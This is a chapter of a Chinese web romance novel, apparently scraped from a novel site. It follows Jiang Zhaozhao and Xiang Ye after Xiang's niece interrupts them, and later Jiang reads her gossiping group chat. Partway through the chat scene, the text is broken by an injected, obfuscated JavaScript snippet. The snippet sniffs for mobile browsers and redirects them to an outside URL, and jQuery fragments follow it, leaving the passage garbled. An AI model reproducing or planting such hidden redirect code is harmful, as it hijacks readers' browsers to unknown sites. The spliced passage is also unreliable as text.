一枚纽扣 作品

第 29 章 使坏

    向野家的餐厅上方的灯有许多吊坠,坠子有长有短,每个都像一颗水滴。


    灯有些刺眼,蒋朝朝只瞥了一眼就收回了视线。


    往下看,向野和他的侄女向施辞在餐桌边上用手机传文件。


    live图,微信发不了的,得隔空传送才行的,一些照片。


    不重要。


    蒋朝朝心跳还在乱作,刚刚被施辞撞见的窘迫还历历在目。


    蒋朝朝已经不太确定施辞突然出现之前他和向野在干什么了,只记得向野那个几乎要喷到他脸上的呼吸。


    与其说不知道他和向野在干什么,倒不如说他和向野什么都没干。


    施辞也挺尴尬的,人尴尬的时候就喜欢找点事干,所以本来只是下来拿喝的,硬是绞尽脑汁又想了一出,让向野把前几天拍的照片传给她。


    文件传得很快,就几秒,施辞就把自己的手机拿了回去。


    “好了,施辞眼珠子有点溜,一副下意识想往蒋朝朝那儿瞥,但马上被大脑狠狠制止的样子:“你们忙你们的,哈哈。


    说完这话,她踩着她的拖鞋哒哒哒地往楼梯跑。


    再哒哒哒地跑回来,把桌上的饮料拿上,哒哒哒地重新往楼梯跑。


    蒋朝朝听着她的脚步拐弯,再上楼,再逐渐小声,再消失不见。


    蒋朝朝局促地挠了挠下巴。


    “走吗?那边,向野收起了手机。


    他说这句话时是没有看蒋朝朝的,但这个空间只有他们两个人,他只能是和蒋朝朝说话。


    蒋朝朝:“好啊。


    向野似是想起了什么:“挑好要什么酒了吗?


    蒋朝朝想了想:“就刚刚那个红酒吧,说着他像是怕向野误会什么,又补了句:“有眼缘。


    向野没有多说什么,他仍旧没有看蒋朝朝,从蒋朝朝身边走过去,去酒柜。


    只是马上要和蒋朝朝擦肩而过时,他突然伸手,把蒋朝朝的头发给揉了揉。


    “哎呀。蒋朝朝喊了声。


    向野很轻地笑了。


    再把红酒拿上,两人的状态就回来了。


    仿佛什么都没有发生过,没有呼吸很近,也没有突然被打扰,没有向施辞,也没有刚才的不敢对视。


    上了车,蒋朝朝问向野:“你家多远啊?


    向野说:“二十分钟。


    大晚上的还得开二十分钟,那确实有点远。


    这一趟就自然很多了,向野也想起蒋朝朝口中的那


    个音乐交流会施辞在家提过。


    “她也去吗?”蒋朝朝问向野。


    向野摇头:“她没有被邀请。”


    蒋朝朝啊了声。


    向野又道:“最近听施辞说了一些你们音乐界的事才知道原来蒋老师这么厉害。”


    这话要是别人说的蒋朝朝多少谦虚一番再虚与委蛇地商业互吹但这个人是向野。


    “那是”蒋朝朝傲起来了:“我确实是厉害。”


    向野:“你以为我车上坐的是谁。”


    蒋朝朝被逗得笑了起来。


    蒋朝朝:“知道就好。”


    向野:“不知道怎么办?”


    蒋朝朝:“不知道你死定了。”


    向野问:“我**?”


    蒋朝朝噎住了但很快他哼了一声:“算了那就饶你一命。”


    向野不回话了笑了起来。


    鉴于这个真的没什么好笑的蒋朝朝自然要问一句:“你又笑什么?”


    向野:“又?”


    蒋朝朝:“不又吗?你在我面前莫名其妙地笑了多少次了你自己说。”


    向野十分认同地嗯了声:“确实。”


    蒋朝朝:“怎么呢向先生?”


    向野:“我可说了。”


    蒋朝朝警惕了半秒:“你要说什么?”


    向野:“你要不要听?”


    蒋朝朝:“你说。”


    向野:“如果没记错的话我每次的莫名其妙都是在感叹。”


    蒋朝朝问:“感叹什么?”


    向野:“感叹某人实在是太可爱了。”


    某人瞬间说不出话了。


    好半天蒋朝朝才憋出一句:“这样吗。”


    向野带了叹气在声音里:“是啊蒋先生。”


    蒋朝朝不横了老实了好好坐着了:“那好的谢谢。”


    向野又笑了:“不客气。”


    好嘛。


    他又可爱了吗?


    也好。


    车逐渐地驶离那天街道向野打开了音乐也把声音拧大。


    外面的雨停了但车窗上还有许多雨渍城市也是一副湿漉漉的样子。


    这样的天气在向野的车里听歌也很舒服渐渐的两人都不说话了。


    一首歌结束放空回神的蒋朝朝突然想到了一件事。


    于是他把手机拿了出来点开了扁扁的群。


    最近聊天在半小时前。


    蒋朝朝正想退出去就在


    这时,群里跳出了新的消息。


    不是诗不是词:「啊啊啊啊啊救命啊!」


    蒋朝朝不自禁地把手放在下巴上。


    很快,他的积极群友们就出来了。


    群友1:「怎么了怎么了!」


    群友2:「怎么了怎么了!」


    更有敏感的群友说。


    群友3:「是不是叔叔有新动向了!」


    群友4:「啊叔叔叔叔!」


    怎么回事这个施辞,打字这么慢。


    终于在千呼万唤的十多秒后,施辞的下一句出来了。


    诗词:「我好像坏了我叔叔的好事!」


    诗词:「怎么办啊,我罪大过了!」


    群友1:「什么好事?」


    群友2:「展开说说!」


    诗词:「我刚刚下去拿水喝」


    诗词:「我家的餐厅和酒柜是紧挨着的嘛,冰箱就在酒柜那个墙的旁边」


    诗词:「我下楼的时候酒柜里面的灯开着,但是外面所有灯都关着」


    诗词:「就是那种暖黄色的,不会很亮的氛围灯」


    诗词:「我奶奶最近在控制我爷爷的喝酒量,我就以为是我爷爷偷偷下来拿酒喝」


    诗词:「我走路又轻,我怕我突然出现会吓到他,就先偷偷过去看一眼」


    诗词:「我靠!我看到了什么!」


    说到这儿,蒋朝朝已经开始笑了。


    有群友抢答了。


    群友1:「难道是叔叔和学长?!」


    诗词:「没错!」


    诗词:「但是!」


    群友2:「但是!」


    诗词:「呜呜呜呜,他们好像快亲上了,但被我打断了」


    看到这儿的蒋朝朝把手机放下了。


    他其实没想太多的。


    所以施辞的这个快亲上这几个字,就这么突然出现,蒋朝朝吓得手都有点麻了。


    他偷偷地看了眼这会儿开车的人,才再拿起手机。


    群友1:「什么!!!!」


    群友2:「快亲上了?!!!」


    群友3:「你叔叔和你学长?果真吗?」


    诗词:「之前我只是随便猜猜随便磕磕,现在我……」


    诗词:「天啊我真的冲击好大」


    诗词:「我也想问啊,果真吗?果真吗!」


    诗词:「而且你们都不懂那个画面的冲击,只有那一点的光,他俩又都是黑色的衣服,我叔高一点,学长矮一点,我叔低着头,学长仰


    头也抬眼」


    诗词:「你们能不能想象啊!能不能啊!」


    群友1:「靠!好有画面感」


    群友2:「你别太会说」


    蒋朝朝:“……”


    行他也有画面感了。


    诗词:「我以前老说我叔爱穿黑色晚上走路又轻跟鬼似的」


    诗词:「现在我懂了鬼有鬼的道理」


    群友1:「鬼有鬼的帅」


    诗词:「哈哈哈哈没错」


    群友2:「所以果真吗?」


    群友3:「你叔叔看起来gay吗?」


    诗词:「一点也不啊」


    诗词:「我靠我腐了这么多年从来没有怀疑过我叔啊」


    诗词:「但是他倒是有gay朋友啊」</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785928|142552||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    >


    群友1:「稳了」


    群友2:「稳了」


    群友3:「稳了」


    ……


    这不是诗词的错屏幕外的蒋朝朝也很想说


    搞得他还得左探右探才知道真相。


    没想到蒋朝朝心里才吐槽完向野下一句施辞说。


    诗词:「我学长我也看不出来gay啊!」


    诗词:「完完全全不像」


    群友1:「你昨天不是还说你学长高中的时候有个绯闻男友」


    群友2:[对啊你们还好多人磕呢」


    学长本人看到这句话愣住了。


    哈?还有这事?


    诗词:「哦那个啊那个都是校友们乱说的」


    诗词:「他俩有段时间因为要练琴经常在一块后来还一起参加比赛就是获奖的照片抓拍得好像是那么回事而已」


    蒋朝朝心里哦了声张凌智啊那没事了。


    这一下他也想起来了他高中的时候确实有听到一些他和张凌智的这那绯闻他根本没当回事就给忘了。


    张凌智顶级大直男。


    啊当然这和张凌智是不是直男也没什么关系。


    群友1:「诗词同学你现在在干什么?为了叔叔开始撇清学长和别人?你昨天是这么说的?」


    诗词:「哈哈哈哈哈哈哈哈」


    诗词:「干嘛!学长和那个人就是没什么啊我实话实说」


    诗词:「谁在学校还没磕过几对帅哥同学啊」


    群友2:「那倒也是」


    群友2:「在校时期是真的饿了有啥磕啥很不挑」


    诗词:「你看你多懂我」


    群友


    1:「要不你去探探你叔的性取向?」


    诗词:「我可不敢」


    诗词:「我也就只敢在背后蛐蛐」


    群友2:「哈哈哈哈你怎么这么怂啊」


    诗词:「那是我叔诶」


    诗词:「别看我和他关系好,我还蛮怕他的」


    看到这儿,蒋朝朝把手机放下一点,转头看向野。


    目光灼灼的那种看,就是想让向野发现的那种看。


    果然很快,向野就发现了。


    “怎么了?”向野不仅问了蒋朝朝希望他问的,还说了句:“笑得这么诡异。”


    蒋朝朝一下子被岔开话题,摸摸自己的脸:“我有吗?”


    向野:“诡异很久了。”


    蒋朝朝心虚,一下子就默认了。


    “你别管,”蒋朝朝先把自己想说的话说了:“施辞说她怕你诶,你知道这事吗?”


    向野听后很轻地挑了一下眉,接着很快就分析出来了:“你在看你的群。”


    蒋朝朝:“是的。”


    “她是很怕我,”向野肯定这句话:“所以你想说什么?”


    蒋朝朝本来想借机调侃一番,既然向野自己也知道这事的话:“没什么咯,凶叔叔。”


    向野:“我可没凶她。”


    蒋朝朝:“你不怒自威。”


    向野:“真的吗?你这么觉得?”


    蒋朝朝:“你不笑的时候超坏的。”


    向野抓取了蒋朝朝这句话的一个词:“超坏的。”


    蒋朝朝夹带私货被点出来,人一下子就热了。


    是的,应该是要说超凶的,对吧。


    但蒋朝朝还是继续接话:“是啊,超坏。”


    向野好似轻轻哼了声。


    好像有句话被他融进了这声哼里。


    叫做,这就坏了?这才哪儿到哪儿啊。


    还会更坏?


    会怎么更坏?


    蒋朝朝觉得他这会儿有点不好,人又要开始晕了。


    趁手机光还在,他拿了起来,准备借此消化一下某些不该有的心思。


    没想到,这一看,入眼竟然是。


    群友1:「你叔叔到时候会不会对你学长使坏」


    群友2:「啊啊啊啊想了一下好带感」


    群友3:「是使坏还是撞坏?」


    蒋朝朝咔的一生把手机锁了。


    不愧是一张张黄图养出来的亲亲群友啊,说的什么东西啊!